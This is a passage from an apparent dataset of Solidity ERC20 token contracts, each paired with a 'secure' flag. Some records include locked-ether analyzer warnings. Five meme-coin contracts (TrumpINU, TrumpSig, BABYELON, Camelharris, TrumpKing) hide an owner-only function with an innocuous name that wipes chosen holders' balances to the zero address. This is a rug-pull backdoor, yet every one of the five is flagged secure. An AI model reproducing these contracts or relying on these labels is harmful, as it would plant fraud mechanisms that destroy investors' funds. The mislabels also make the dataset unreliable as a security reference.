{\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_503.sol", "secure": 1, "size_bytes": 7048 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpINU is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ficti;\n\n constructor() {\n _name = \"TRUMP DOGE INU\";\n\n _symbol = \"TrumpINU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 810000000;\n\n ficti = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ficti, \"Not allowed\");\n\n _;\n }\n\n function dlife(address[] memory aquat) public onlyOwner {\n for (uint256 i = 0; i < aquat.length; i++) {\n address account = aquat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_504.sol", "secure": 1, "size_bytes": 4358 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RwaCoin is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant Supply = 1_000_000_000 * (10 ** _decimals);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(0xd0D0FeeB1DC647a48Ff672ab0ea17823FdE8fE57, Supply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_505.sol", "secure": 1, "size_bytes": 5255 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2d2883f): Contract locking ether found Contract ElonMusk6900 has payable functions ElonMusk6900.receive() But does not have a function to withdraw the ether\n// Recommendation for 2d2883f: Remove the 'payable' attribute or add a withdraw function.\ncontract ElonMusk6900 is ERC20, Ownable {\n constructor() ERC20(\"Elon Musk 6900\", \"ELON6900\") {\n _mint(owner(), 628_530_420_690 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2d2883f): Contract locking ether found Contract ElonMusk6900 has payable functions ElonMusk6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 2d2883f: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_506.sol", "secure": 0, "size_bytes": 1027 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpSig is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable midges;\n\n constructor() {\n _name = \"Trump Signal\";\n\n _symbol = \"TrumpSig\";\n\n _decimals = 18;\n\n uint256 initialSupply = 730000000;\n\n midges = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == midges, \"Not allowed\");\n\n _;\n }\n\n function zoono(address[] memory leishm) public onlyOwner {\n for (uint256 i = 0; i < leishm.length; i++) {\n address account = leishm[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_507.sol", "secure": 1, "size_bytes": 4362 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BABYELON is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable tenderlysandbox;\n\n constructor() {\n _name = \"BABYELON \";\n\n _symbol = \"BABYELON\";\n\n _decimals = 18;\n\n uint256 initialSupply = 6800000000;\n\n tenderlysandbox = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == tenderlysandbox, \"Not allowed\");\n\n _;\n }\n\n function goverment(address[] memory formative) public onlyOwner {\n for (uint256 i = 0; i < formative.length; i++) {\n address account = formative[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_508.sol", "secure": 1, "size_bytes": 4400 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Camelharris is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable high;\n\n constructor() {\n _name = \"Camel Harris\";\n\n _symbol = \"CAMELA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 328000000;\n\n high = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == high, \"Not allowed\");\n\n _;\n }\n\n function charge(address[] memory closed) public onlyOwner {\n for (uint256 i = 0; i < closed.length; i++) {\n address account = closed[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_509.sol", "secure": 1, "size_bytes": 4358 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_51.sol", "secure": 1, "size_bytes": 5974 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpKing is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable periodcastle;\n\n constructor() {\n _name = \"TrumpKing \";\n\n _symbol = \"TRUMPK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 8300000000;\n\n periodcastle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == periodcastle, \"Not allowed\");\n\n _;\n }\n\n function forever(address[] memory poundland) public onlyOwner {\n for (uint256 i = 0; i < poundland.length; i++) {\n address account = poundland[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_510.sol", "secure": 1, "size_bytes": 4389 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TRUMPMUSK is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Memecoin Trump Musk\", \"TMAGA\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 420690000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_511.sol", "secure": 1, "size_bytes": 607 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 08635f4): Contract locking ether found Contract EteherumLayerOrcaleNetwork has payable functions EteherumLayerOrcaleNetwork.receive() But does not have a function to withdraw the ether\n// Recommendation for 08635f4: Remove the 'payable' attribute or add a withdraw function.\ncontract EteherumLayerOrcaleNetwork is ERC20, Ownable {\n constructor() ERC20(unicode\"Eteherum Layer Orcale Network\", unicode\"ELON\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 08635f4): Contract locking ether found Contract EteherumLayerOrcaleNetwork has payable functions EteherumLayerOrcaleNetwork.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 08635f4: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_512.sol", "secure": 0, "size_bytes": 1117 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEPEwifMAGA is ERC20, Ownable {\n constructor() ERC20(\"pepewifmaga\", \"pepemaga\") {\n _mint(msg.sender, 696969000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_513.sol", "secure": 1, "size_bytes": 357 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 23;\n\n uint256 public sellTax = 23;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view 